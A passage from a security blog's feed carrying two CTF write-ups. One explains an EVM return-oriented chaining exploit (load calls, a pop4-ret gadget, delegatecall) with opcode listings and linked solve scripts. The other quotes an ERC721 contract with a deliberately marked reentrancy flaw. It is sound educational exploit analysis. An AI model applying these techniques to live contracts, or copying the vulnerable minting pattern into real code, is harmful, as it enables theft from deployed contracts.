&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; b =&amp;gt; second return value =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;third call&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; a =&amp;gt; first return value&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[8] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Test.sol&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/fdbdb2815ffa6288e513ad4edd3b4278&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/fdbdb2815ffa6288e513ad4edd3b4278&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;payload.py&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/d93036176b74d0e6898c0d3c3ca8ea29&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/d93036176b74d0e6898c0d3c3ca8ea29&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;602&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N8FZS/btsviV2fZ1l/m7VUOooycpq3PK2BlFoas0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N8FZS/btsviV2fZ1l/m7VUOooycpq3PK2BlFoas0/img.png&quot; data-alt=&quot;Remix setting(important)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N8FZS/btsviV2fZ1l/m7VUOooycpq3PK2BlFoas0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN8FZS%2FbtsviV2fZ1l%2Fm7VUOooycpq3PK2BlFoas0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;254&quot; height=&quot;384&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;602&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Remix setting(important)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;287&quot; data-origin-height=&quot;749&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cu3l0T/btsvbC3hE0s/1LKUZpnGPWDssHACR9jRSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu3l0T/btsvbC3hE0s/1LKUZpnGPWDssHACR9jRSK/img.png&quot; data-alt=&quot;remix debugger&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu3l0T/btsvbC3hE0s/1LKUZpnGPWDssHACR9jRSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu3l0T%2FbtsvbC3hE0s%2F1LKUZpnGPWDssHACR9jRSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;222&quot; height=&quot;749&quot; data-origin-width=&quot;287&quot; data-origin-height=&quot;749&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;remix debugger&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I noted that load(i)'s third return value remains, allowing me to use it as any function argument.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So my idea is that I repeat this and then chain those like load() -&amp;gt; load() -&amp;gt; ... -&amp;gt; func1 -&amp;gt; func2 -&amp;gt; func3 =&amp;gt; solved!!&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Actually, func1, func2, and func3 are determined above.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;func1 =&amp;gt; resetGasLimit()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;func2 =&amp;gt; delegatecall(addr)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We will set load()'s third value in detail. Now we just set a value for easy identification in the debugger.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Due to optimize option, we have to take a look at resetGasLimit() opcodes.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;resetGasLimit() could be called from two places:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i. just call resetGasLimit()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ii. inside tokyoPayload()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;They have different opcodes at the end.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i) case cannot be used in our payload because it has a STOP opcode.&lt;/p&gt;
&lt;pre id=&quot;code_1695368736986&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 5			function resetGasLimit() publi...
    JUMPDEST 			function resetGasLimit() publi...
    PUSH [tag] 11			function resetGasLimit() publi...
    PUSH 60			uint256[] memory arr
    MLOAD 			arr.length
    PUSH 1			gasLimit
    SSTORE 			gasLimit = arr.length
    JUMP 			function resetGasLimit() publi...
tag 11			function tokyoPayload(uint256 ...
    JUMPDEST 			function tokyoPayload(uint256 ...
    STOP 			function tokyoPayload(uint256 ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We have no choice but to go to ii).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As we know, tokyoPayload() would make the stack:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt; finish this call of tokyoPayload()&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;some value I pushed&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[?] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[?] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;That means scenario ii) spoils stack[0:5] to be used for chaining.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As we think of ROP, pop-pop-pop-pop-ret gadget also exists in deployed bytecode?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The answer is &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;yes&lt;/b&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1695369380900&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 43			funcs[z]()
    JUMPDEST 			funcs[z]()
    POP 			{\n        require(x &amp;gt;= 0x40);...
    POP 			{\n        require(x &amp;gt;= 0x40);...
    POP 			function tokyoPayload(uint256 ...
    POP 			function tokyoPayload(uint256 ...
    JUMP 			function tokyoPayload(uint256 ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Thanks to pop4-ret gadget&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;p4-ret gadget&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;will be popped&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;will be popped&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60 =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;will be popped&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;will be popped&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;next call! =&amp;gt; delegatecall()&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;some value I pushed&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[?] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[?] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;PoC&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Test.sol&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/58bb7322d958323793f11e795a1139b0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/58bb7322d958323793f11e795a1139b0&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;payload.py&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/3da37c9c95053436e74da8a9f98dfcfe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/3da37c9c95053436e74da8a9f98dfcfe&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;332&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHZ9gt/btsvkM4WyLk/ySo9PZKK77pLNMndwdTblk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHZ9gt/btsvkM4WyLk/ySo9PZKK77pLNMndwdTblk/img.png&quot; data-alt=&quot;before pop4-ret&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHZ9gt/btsvkM4WyLk/ySo9PZKK77pLNMndwdTblk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHZ9gt%2FbtsvkM4WyLk%2FySo9PZKK77pLNMndwdTblk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;332&quot; height=&quot;303&quot; data-origin-width=&quot;332&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;before pop4-ret&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsySUT/btsu7QuAXPp/6VS1gFTAyIMkTLKRxKe3O0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsySUT/btsu7QuAXPp/6VS1gFTAyIMkTLKRxKe3O0/img.png&quot; data-alt=&quot;after pop4-ret&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsySUT/btsu7QuAXPp/6VS1gFTAyIMkTLKRxKe3O0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsySUT%2Fbtsu7QuAXPp%2F6VS1gFTAyIMkTLKRxKe3O0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;451&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;after pop4-ret&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;0x1a3&lt;/span&gt; is JUMPDEST bypassing require statement within delegatecall(addr)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JfoHw/btsu7Qg20Q8/AQ2lseauf81MORG8cKR4mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JfoHw/btsu7Qg20Q8/AQ2lseauf81MORG8cKR4mk/img.png&quot; data-alt=&quot;addr.call()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JfoHw/btsu7Qg20Q8/AQ2lseauf81MORG8cKR4mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJfoHw%2Fbtsu7Qg20Q8%2FAQ2lseauf81MORG8cKR4mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;447&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;addr.call()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;187&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wfgNV/btsu9M6z8nB/nRuK77lwtLNklSJeeYWSP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wfgNV/btsu9M6z8nB/nRuK77lwtLNklSJeeYWSP0/img.png&quot; data-alt=&quot;delegatecall opcode argument&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wfgNV/btsu9M6z8nB/nRuK77lwtLNklSJeeYWSP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwfgNV%2Fbtsu9M6z8nB%2FnRuK77lwtLNklSJeeYWSP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;187&quot; height=&quot;289&quot; data-origin-width=&quot;187&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;delegatecall opcode argument&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;0xcccc..cc&lt;/span&gt; would be logic contract address.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;359&quot; data-origin-height=&quot;461&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u2S4R/btsvjgFsrtp/oGuZLHZEuhIXSZ24l0pSdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u2S4R/btsvjgFsrtp/oGuZLHZEuhIXSZ24l0pSdK/img.png&quot; data-alt=&quot;delegatecall(addr) return address&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u2S4R/btsvjgFsrtp/oGuZLHZEuhIXSZ24l0pSdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu2S4R%2FbtsvjgFsrtp%2FoGuZLHZEuhIXSZ24l0pSdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;461&quot; data-origin-width=&quot;359&quot; data-origin-height=&quot;461&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;delegatecall(addr) return address&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;0xbbb.bbb&lt;/span&gt; would be delegatecall(addr) return address.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To finish this chaining, I put JUMPDEST which has &lt;span style=&quot;background-color: #f6e199;&quot;&gt;STOP&lt;/span&gt; opcode.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In fact, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;0xaaa..aaa&lt;/span&gt; was unnecessary so I could have reduced the number of calling load().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In conclusion, we went through the following flow:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tokyoPayload -&amp;gt; load -&amp;gt; load -&amp;gt; load -&amp;gt; resetGasLimit -&amp;gt; POP4-RET &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;-&amp;gt; delegatecall -&amp;gt; STOP&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Solve&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;solve.sol&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/b8ddc278c2ec33db4eb27d7238a17bab&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/b8ddc278c2ec33db4eb27d7238a17bab&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;payload.py&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/052286df7061cbdc62793cd32c9b4ac0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/052286df7061cbdc62793cd32c9b4ac0&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/171</guid>
      <comments>https://gss1.tistory.com/entry/SECCON-CTF-2023-Quals-misc-blockchaintokyo-payload#entry171comment</comments>
      <pubDate>Fri, 22 Sep 2023 18:09:15 +0900</pubDate>
    </item>
    <item>
      <title>whitehat 2023 - blockchain</title>
      <link>https://gss1.tistory.com/entry/whitehat-2023-blockchain-crypto</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finally! a blockchain challenge was presented after Codegate at the domestic CTF.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Blockchain&lt;/h2&gt;
&lt;pre id=&quot;code_1695117232303&quot; class=&quot;r&quot; data-ke-language=&quot;r&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.13;
import &quot;./token/ERC721.sol&quot;;

contract MintChocolate is ERC721 {
    bool public minted;
    uint256 public counter;

    constructor() ERC721(&quot;MintChocolate&quot;, &quot;MC&quot;) {}
    function mint(uint256 amount) external {
        require(!minted, &quot;No more mint&quot;);
        require(amount &amp;lt;= 10, &quot;mint cap reached&quot;);

        for(uint256 i = 0; i &amp;lt; amount;) {
            _safeMint(msg.sender, counter++); // vulnerable
            
            unchecked {
                ++i;
            }
        }
        minted = true; // vulnerable
    }

    function goldenTicket() view external returns(bool) {
        return totalSupply() &amp;gt;= 100 ? true : false;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is recommended to use check-effects-interaction to prevent re-entrancy attack because using safemint would make a callback.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since this code does not have any mitigations, an attacker could use re-entrancy attack to mint infinitely.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;is the same root cause.&lt;/p&gt;
